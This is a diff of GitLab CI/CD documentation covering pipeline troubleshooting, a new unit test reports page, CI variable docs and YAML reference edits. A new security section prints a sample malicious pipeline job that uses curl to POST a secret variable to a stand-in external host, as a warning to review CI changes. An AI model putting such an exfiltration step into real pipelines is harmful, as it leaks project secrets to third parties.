repository. +1. A new pipeline starts running on the `example` branch. +1. A user rebases the `example` branch on the latest `master` branch and force-pushes it to its remote repository. +1. A new pipeline starts running on the `example` branch again, however, + the previous pipeline (2) fails because of `fatal: reference is not a tree:` error. + +This is because the previous pipeline cannot find a checkout-SHA (which is associated with the pipeline record) +from the `example` branch that the commit history has already been overwritten by the force-push. +Similarly, [Pipelines for merged results](merge_request_pipelines/pipelines_for_merged_results/index.md) +might have failed intermittently due to [the same reason](merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error). + +As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively. +To illustrate its life cycle: + +1. A pipeline is created on a feature branch named `example`. +1. A persistent pipeline ref is created at `refs/pipelines/<pipeline-id>`, + which retains the checkout-SHA of the associated pipeline record. + This persistent ref stays intact during the pipeline execution, + even if the commit history of the `example` branch has been overwritten by force-push. +1. The runner fetches the persistent pipeline ref and gets source code from the checkout-SHA. +1. When the pipeline finishes, its persistent ref is cleaned up in a background process. + +### Merge request pipeline messages + +The merge request pipeline widget shows information about the pipeline status in +a merge request. It's displayed above the [ability to merge status widget](#merge-request-status-messages). + +#### "Checking pipeline status" message + +This message is shown when the merge request has no pipeline associated with the +latest commit yet. This might be because: - GitLab hasn't finished creating the pipeline yet. - You are using an external CI service and GitLab hasn't heard back from the service yet. - You are not using CI/CD pipelines in your project. - The latest pipeline was deleted (this is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/214323)). -After the pipeline is created, the message will update with the pipeline status. +After the pipeline is created, the message updates with the pipeline status. + +### Merge request status messages + +The merge request status widget shows the **Merge** button and whether or not a merge +request is ready to merge. If the merge request can't be merged, the reason for this +is displayed. + +If the pipeline is still running, the **Merge** button is replaced with the +**Merge when pipeline succeeds** button. -## Merge request ability to merge widget +If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) +are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)** -The merge request status widget shows the **Merge** button and whether or not a merge request is ready to merge. If the merge request can't be merged, the reason for this is displayed. +#### "A CI/CD pipeline must run and be successful before merge" message -If the pipeline is still running, the **Merge** button is replaced with the **Merge when pipeline succeeds** button. +This message is shown if the [Pipelines must succeed](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) +setting is enabled in the project and a pipeline has not yet run successfully. +This also applies if the pipeline has not been created yet, or if you are waiting +for an external CI service. If you don't use pipelines for your project, then you +should disable **Pipelines must succeed** so you can accept merge requests. + +## Pipeline warnings + +Pipeline configuration warnings are shown when you: + +- [Validate configuration with the CI Lint tool](yaml/README.md#validate-the-gitlab-ciyml). +- [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually). + +### "Job may allow multiple pipelines to run for a single action" warning + +When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `if:` +clause, multiple pipelines may run. Usually this occurs when you push a commit to +a branch that has an open merge request associated with it. + +To [prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines), use +[`workflow: rules`](yaml/README.md#workflowrules) or rewrite your rules to control +which pipelines can run. -If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)** +## How to get help -### "A CI/CD pipeline must run and be successful before merge" +If you are unable to resolve pipeline issues, you can get help from: -This message is shown if the [Pipelines must succeed](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) setting is enabled in the project and a pipeline has not yet run successfully. This also applies if the pipeline has not been created yet, or if you are waiting for an external CI service. If you don't use pipelines for your project, then you should disable **Pipelines must succeed** so you can accept merge requests. +- The [GitLab community forum](https://forum.gitlab.com/) +- GitLab [Support](https://about.gitlab.com/support/) diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md new file mode 100644 index 00000000000..5a59a175a89 --- /dev/null +++ b/doc/ci/unit_test_reports.md @@ -0,0 +1,293 @@ +--- +stage: Verify +group: Testing +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference +--- + +# Unit test reports + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45318) in GitLab 11.2. Requires GitLab Runner 11.2 and above. +> - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39737) from JUnit test reports to Unit test reports in GitLab 13.4. + +## Overview + +It is very common that a [CI/CD pipeline](pipelines/index.md) contains a +test job that will verify your code. +If the tests fail, the pipeline fails and users get notified. The person that +works on the merge request will have to check the job logs and see where the +tests failed so that they can fix them. + +You can configure your job to use Unit test reports, and GitLab will display a +report on the merge request so that it's easier and faster to identify the +failure without having to check the entire log. Unit test reports currently +only support test reports in the JUnit report format. + +If you don't use Merge Requests but still want to see the unit test report +output without searching through job logs, the full +[Unit test reports](#viewing-unit-test-reports-on-gitlab) are available +in the pipeline detail view. + +Consider the following workflow: + +1. Your `master` branch is rock solid, your project is using GitLab CI/CD and + your pipelines indicate that there isn't anything broken. +1. Someone from your team submits a merge request, a test fails and the pipeline + gets the known red icon. To investigate more, you have to go through the job + logs to figure out the cause of the failed test, which usually contain + thousands of lines. +1. You configure the Unit test reports and immediately GitLab collects and + exposes them in the merge request. No more searching in the job logs. +1. Your development and debugging workflow becomes easier, faster and efficient. + +## How it works + +First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) +as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts +comparing the head and base branch's JUnit report format XML files, where: + +- The base branch is the target branch (usually `master`). +- The head branch is the source branch (the latest pipeline in each merge request). + +The reports panel has a summary showing how many tests failed, how many had errors +and how many were fixed. If no comparison can be done because data for the base branch +is not available, the panel will just show the list of failed tests for head. + +There are four types of results: + +1. **Newly failed tests:** Test cases which passed on base branch and failed on head branch +1. **Newly encountered errors:** Test cases which passed on base branch and failed due to a + test error on head branch +1. **Existing failures:** Test cases which failed on base branch and failed on head branch +1. **Resolved failures:** Test cases which failed on base branch and passed on head branch + +Each entry in the panel will show the test name and its type from the list +above. Clicking on the test name will open a modal window with details of its +execution time and the error output. + + + +## How to set it up + +To enable the Unit test reports in merge requests, you need to add +[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit) +in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports. +The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575). + +In the following examples, the job in the `test` stage runs and GitLab +collects the Unit test report from each job. After each job is executed, the +XML reports are stored in GitLab as artifacts and their results are shown in the +merge request widget. + +To make the Unit test report output files browsable, include them with the +[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example). +To upload the report even if the job fails (for example if the tests do not pass), use the [`artifacts:when:always`](yaml/README.md#artifactswhen) +keyword. + +NOTE: **Note:** +You cannot have multiple tests with the same name and class in your JUnit report format XML file. + +### Ruby example + +Use the following job in `.gitlab-ci.yml`. This includes the `artifacts:paths` keyword to provide a link to the Unit test report output file. + +```yaml +## Use https://github.com/sj26/rspec_junit_formatter to generate a JUnit report format XML file with rspec +ruby: + stage: test + script: + - bundle install + - bundle exec rspec --format progress --format RspecJunitFormatter --out rspec.xml + artifacts: + when: always + paths: + - rspec.xml + reports: + junit: rspec.xml +``` + +### Go example + +Use the following job in `.gitlab-ci.yml`, and ensure you use `-set-exit-code`, +otherwise the pipeline will be marked successful, even if the tests fail: + +```yaml +## Use https://github.com/jstemmer/go-junit-report to generate a JUnit report format XML file with go +golang: + stage: test + script: + - go get -u github.com/jstemmer/go-junit-report + - go test -v 2>&1 | go-junit-report -set-exit-code > report.xml + artifacts: + when: always + reports: + junit: report.xml +``` + +### Java examples + +There are a few tools that can produce JUnit report format XML file in Java. + +#### Gradle + +In the following example, `gradle` is used to generate the test reports. +If there are multiple test tasks defined, `gradle` will generate multiple +directories under `build/test-results/`. In that case, you can leverage glob +matching by defining the following path: `build/test-results/test/**/TEST-*.xml`: + +```yaml +java: + stage: test + script: + - gradle test + artifacts: + when: always + reports: + junit: build/test-results/test/**/TEST-*.xml +``` + +NOTE: **Note:** +Support for `**` was added in [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620). + +#### Maven + +For parsing [Surefire](https://maven.apache.org/surefire/maven-surefire-plugin/) +and [Failsafe](https://maven.apache.org/surefire/maven-failsafe-plugin/) test +reports, use the following job in `.gitlab-ci.yml`: + +```yaml +java: + stage: test + script: + - mvn verify + artifacts: + when: always + reports: + junit: + - target/surefire-reports/TEST-*.xml + - target/failsafe-reports/TEST-*.xml +``` + +### Python example + +This example uses pytest with the `--junitxml=report.xml` flag to format the output +into the JUnit report XML format: + +```yaml +pytest: + stage: test + script: + - pytest --junitxml=report.xml + artifacts: + when: always + reports: + junit: report.xml +``` + +### C/C++ example + +There are a few tools that can produce JUnit report format XML files in C/C++. + +#### GoogleTest + +In the following example, `gtest` is used to generate the test reports. +If there are multiple gtest executables created for different architectures (`x86`, `x64` or `arm`), +you will be required to run each test providing a unique filename. The results +will then be aggregated together. + +```yaml +cpp: + stage: test + script: + - gtest.exe --gtest_output="xml:report.xml" + artifacts: + when: always + reports: + junit: report.xml +``` + +#### CUnit + +[CUnit](https://cunity.gitlab.io/cunit/) can be made to produce [JUnit report format XML files](https://cunity.gitlab.io/cunit/group__CI.html) automatically when run using its `CUnitCI.h` macros: + +```yaml +cunit: + stage: test + script: + - ./my-cunit-test + artifacts: + when: always + reports: + junit: ./my-cunit-test.xml +``` + +### .NET example + +The [JunitXML.TestLogger](https://www.nuget.org/packages/JunitXml.TestLogger/) NuGet +package can generate test reports for .Net Framework and .Net Core applications. The following +example expects a solution in the root folder of the repository, with one or more +project files in sub-folders. One result file is produced per test project, and each file +is placed in a new artifacts folder. This example includes optional formatting arguments, which +improve the readability of test data in the test widget. A full .Net Core +[example is available](https://gitlab.com/Siphonophora/dot-net-cicd-test-logging-demo). + +```yaml +## Source code and documentation are here: https://github.com/spekt/junit.testlogger/ + +Test: + stage: test + script: + - 'dotnet test --test-adapter-path:. --logger:"junit;LogFilePath=..\artifacts\{assembly}-test-result.xml;MethodFormat=Class;FailureBodyFormat=Verbose"' + artifacts: + when: always + paths: + - ./**/*test-result.xml + reports: + junit: + - ./**/*test-result.xml +``` + +## Viewing Unit test reports on GitLab + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default. +> - The feature flag was removed and the feature was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216478) in GitLab 13.3. + +If JUnit report format XML files are generated and uploaded as part of a pipeline, these reports +can be viewed inside the pipelines details page. The **Tests** tab on this page will +display a list of test suites and cases reported from the XML file. + + + +You can view all the known test suites and click on each of these to see further +details, including the cases that make up the suite. + +You can also retrieve the reports via the [GitLab API](../api/pipelines.md#get-a-pipelines-test-report). + +## Viewing JUnit screenshots on GitLab + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0. +> - It's deployed behind a feature flag, disabled by default. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature). **(CORE ONLY)** + +If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment. + +Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. + +```xml +<testcase time="1.00" name="Test"> + <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out> +</testcase> +``` + +When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page. + +### Enabling the JUnit screenshots feature **(CORE ONLY)** + +This feature comes with the `:junit_pipeline_screenshots_view` feature flag disabled by default. + +To enable this feature, ask a GitLab administrator with [Rails console access](../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the +following command: + +```ruby +Feature.enable(:junit_pipeline_screenshots_view) +``` diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 8f0ec75973c..1a982fa4e19 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -35,15 +35,15 @@ You can call issue numbers, user names, branch names, pipeline and commit IDs, and much more. Predefined environment variables are provided by GitLab -for the local environment of the Runner. +for the local environment of the runner. GitLab reads the `.gitlab-ci.yml` file and sends the information -to the Runner, where the variables are exposed. The Runner then runs the script commands. +to the runner, where the variables are exposed. The runner then runs the script commands. ### Use predefined environment variables You can choose one of the existing predefined variables -to be output by the Runner. +to be output by the runner. This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`. @@ -57,7 +57,7 @@ test_variable: - echo $CI_JOB_STAGE ``` -In this case, the Runner outputs the `stage` for the +In this case, the runner outputs the `stage` for the job `test_variable`, which is `test`:  @@ -84,7 +84,7 @@ When you need a specific custom environment variable, you can [set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md), or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml). -The variables are used by the Runner any time the pipeline runs. +The variables are used by the runner any time the pipeline runs. You can also [override variable values manually for a specific pipeline](../pipelines/index.md#specifying-variables-when-running-manual-jobs). There are two types of variables: **Variable** and **File**. You cannot set types in @@ -131,21 +131,40 @@ After you set a variable, call it from the `.gitlab-ci.yml` file: test_variable: stage: test script: - - echo $CI_JOB_STAGE # calls a predefined variable - - echo $TEST # calls a custom variable of type `env_var` - - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file - - cat $GREETING # the temp file itself contains the variable value + - echo $CI_JOB_STAGE # calls a predefined variable + - echo $TEST # calls a custom variable of type `env_var` + - echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file + - cat $GREETING # the temp file itself contains the variable value ``` The output is:  +Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). + +#### Security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables. + +All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before: + +- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). +- Merging the changes. + +Here is a simplified example of a malicious `.gitlab-ci.yml`: + +```yaml +build: + script: + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ +``` + ### Custom environment variables of type Variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **Variable**, the Runner creates an environment variable +For variables with the type **Variable**, the runner creates an environment variable that uses the key for the name and the value for the value. There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type, @@ -155,8 +174,8 @@ which may be further validated. They appear when you add or update a variable in > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **File**, the Runner creates an environment variable that uses the key for the name. -For the value, the Runner writes the variable value to a temporary file and uses this path. +For variables with the type **File**, the runner creates an environment variable that uses the key for the name. +For the value, the runner writes the variable value to a temporary file and uses this path. You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) @@ -215,8 +234,8 @@ You can't mask variables that don't meet these requirements. > Introduced in GitLab 9.3. Variables can be protected. When a variable is -protected, it is securely passed to pipelines running on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only. The other pipelines do not get +protected, it is only passed to pipelines running on +[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get the protected variable. To protect a variable: @@ -227,8 +246,7 @@ To protect a variable: 1. Select the **Protect variable** check box. 1. Click **Update variable**. -The variable is available for all subsequent pipelines. Protected variables can only -be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). +The variable is available for all subsequent pipelines. ### Custom variables validated by GitLab @@ -250,7 +268,7 @@ All variables are set as environment variables in the build environment, and they are accessible with normal methods that are used to access such variables. In most cases `bash` or `sh` is used to execute the job script. -To access environment variables, use the syntax for your Runner's [shell](https://docs.gitlab.com/runner/executors/). +To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/). | Shell | Usage | |----------------------|------------------------------------------| @@ -413,7 +431,7 @@ script: You can define per-project or per-group variables that are set in the pipeline environment. Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`) and are securely passed to GitLab Runner, -which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. +which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../secrets/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials. Group-level variables can be added by: @@ -445,7 +463,7 @@ To add an instance-level variable: 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. - - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected Runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. + - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. - **Type**: `File` or `Variable`. - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements). @@ -493,7 +511,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello dependencies: - build ``` @@ -512,7 +530,7 @@ build: deploy: stage: deploy script: - - echo $BUILD_VERSION # => hello + - echo $BUILD_VERSION # => hello needs: - job: build artifacts: true @@ -529,6 +547,7 @@ The order of precedence for variables is (from highest to lowest): and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline). 1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable). 1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable). +1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable). 1. [Inherited environment variables](#inherit-environment-variables). 1. YAML-defined [job-level variables](../yaml/README.md#variables). 1. YAML-defined [global variables](../yaml/README.md#variables). @@ -608,7 +627,7 @@ Choose the branch you want to run the pipeline for, then add a variable and its  -The Runner overrides the value previously set and uses the custom +The runner overrides the value previously set and uses the custom value for this specific pipeline.  @@ -748,7 +767,7 @@ so `&&` is evaluated before `||`. > - It's deployed behind a feature flag, enabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(CORE ONLY)** It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, @@ -831,7 +850,7 @@ output **will** contain the content of all your variables and any other secrets! The output **will** be uploaded to the GitLab server and made visible in job logs! -By default, GitLab Runner hides most of the details of what it is doing when +By default, the runner hides most of the details of what it is doing when processing a job. This behavior keeps job logs short, and prevents secrets from being leaked into the log unless your script writes them to the screen. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index c79ea4b0d05..915041b71a6 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -12,7 +12,7 @@ For an introduction on this subject, read through the Some of the predefined environment variables are available only if a minimum version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the -version of Runner required. +version of GitLab Runner that's required. NOTE: **Note:** Starting with GitLab 9.0, we have deprecated some variables. Read the @@ -43,6 +43,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present only when building branches. | | `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. | | `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message | +| `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. | | `CI_CONCURRENT_ID` | all | 11.10 | Unique ID of build execution within a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | Unique ID of build execution within a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` | @@ -69,7 +70,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job as defined in `.gitlab-ci.yml` | | `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the stage as defined in `.gitlab-ci.yml` | | `CI_JOB_TOKEN` | 9.0 | 1.2 | Token used for authenticating with the [GitLab Container Registry](../../user/packages/container_registry/index.md), downloading [dependent repositories](../../user/project/new_ci_build_permissions_model.md#dependent-repositories), and accessing [GitLab-managed Terraform state](../../user/infrastructure/index.md#gitlab-managed-terraform-state). | -| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../examples/authenticating-with-hashicorp-vault). | +| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../secrets/index.md). | | `CI_JOB_URL` | 11.1 | 0.5 | Job details URL | | `CI_KUBERNETES_ACTIVE` | 13.0 | all | Included with the value `true` only if the pipeline has a Kubernetes cluster available for deployments. Not included if no cluster is available. Can be used as an alternative to [`only:kubernetes`/`except:kubernetes`](../yaml/README.md#onlykubernetesexceptkubernetes) with [`rules:if`](../yaml/README.md#rulesif) | | `CI_MERGE_REQUEST_ASSIGNEES` | 11.9 | all | Comma-separated list of username(s) of assignee(s) for the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the merge request is created. | @@ -119,7 +120,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_RUNNER_EXECUTABLE_ARCH` | all | 10.6 | The OS/architecture of the GitLab Runner executable (note that this is not necessarily the same as the environment of the executor) | | `CI_RUNNER_ID` | 8.10 | 0.5 | The unique ID of runner being used | | `CI_RUNNER_REVISION` | all | 10.6 | GitLab Runner revision that is executing the current job | -| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of GitLab Runner's token used to authenticate new job requests. Used as Runner's unique ID | +| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of the runner's token used to authenticate new job requests. Used as the runner's unique ID | | `CI_RUNNER_TAGS` | 8.10 | 0.5 | The defined runner tags | | `CI_RUNNER_VERSION` | all | 10.6 | GitLab Runner version that is executing the current job | | `CI_SERVER` | all | all | Mark that job is executed in CI environment | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 2f26fddc808..330b960ca9a 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -18,13 +18,13 @@ This document describes where and how the different types of variables can be us There are two places defined variables can be used. On the: 1. GitLab side, in `.gitlab-ci.yml`. -1. The runner side, in `config.toml`. +1. The GitLab Runner side, in `config.toml`. ### `.gitlab-ci.yml` file | Definition | Can be expanded? | Expansion place | Description | |:-------------------------------------------|:-----------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in Runner's `config.toml` and variables created in job's `script`. | +| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. | | `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | @@ -39,13 +39,13 @@ There are two places defined variables can be used. On the: ### `config.toml` file NOTE: **Note:** -You can read more about `config.toml` in the [Runner's docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html). +You can read more about `config.toml` in the [GitLab Runner docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html). | Definition | Can be expanded? | Description | |:-------------------------------------|:-----------------|:---------------------------------------------------------------------------------------------------------------------------------------------| -| `runners.environment` | yes | The variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | -| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | -| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.environment` | yes | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | ## Expansion mechanisms @@ -59,7 +59,7 @@ There are three expansion mechanisms: The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`. Each form is handled in the same way, no matter which OS/shell will finally handle the job, -since the expansion is done in GitLab before any Runner will get the job. +since the expansion is done in GitLab before any runner will get the job. ### GitLab Runner internal variable expansion mechanism @@ -67,7 +67,7 @@ since the expansion is done in GitLab before any Runner will get the job. variables from triggers, pipeline schedules, and manual pipelines. - Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`). -The Runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle +The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the ordering of variables definitions. diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 8d3ba1992b9..40df9c7c986 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -34,8 +34,9 @@ We have complete examples of configuring pipelines: > from 30 days to under 8 hours with GitLab. NOTE: **Note:** -If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter), +If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering. Go to your project's + **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. ## Introduction @@ -322,7 +323,7 @@ pipelines and merge request pipelines don't run, as there's no rule allowing the ```yaml workflow: rules: - - if: $CI_COMMIT_REF_NAME =~ /-wip$/ + - if: $CI_COMMIT_MESSAGE =~ /-wip$/ when: never - if: '$CI_PIPELINE_SOURCE == "push"' ``` @@ -363,7 +364,7 @@ makes your pipelines run for branches and tags. Branch pipeline status will be displayed within merge requests that use that branch as a source, but this pipeline type does not support any features offered by [Merge Request Pipelines](../merge_request_pipelines/) like -[Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results-premium) +[Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results) or [Merge Trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/). Use this template if you are intentionally avoiding those features. @@ -490,7 +491,7 @@ include: file: '/templates/.gitlab-ci-template.yml' - project: 'my-group/my-project' - ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA + ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git 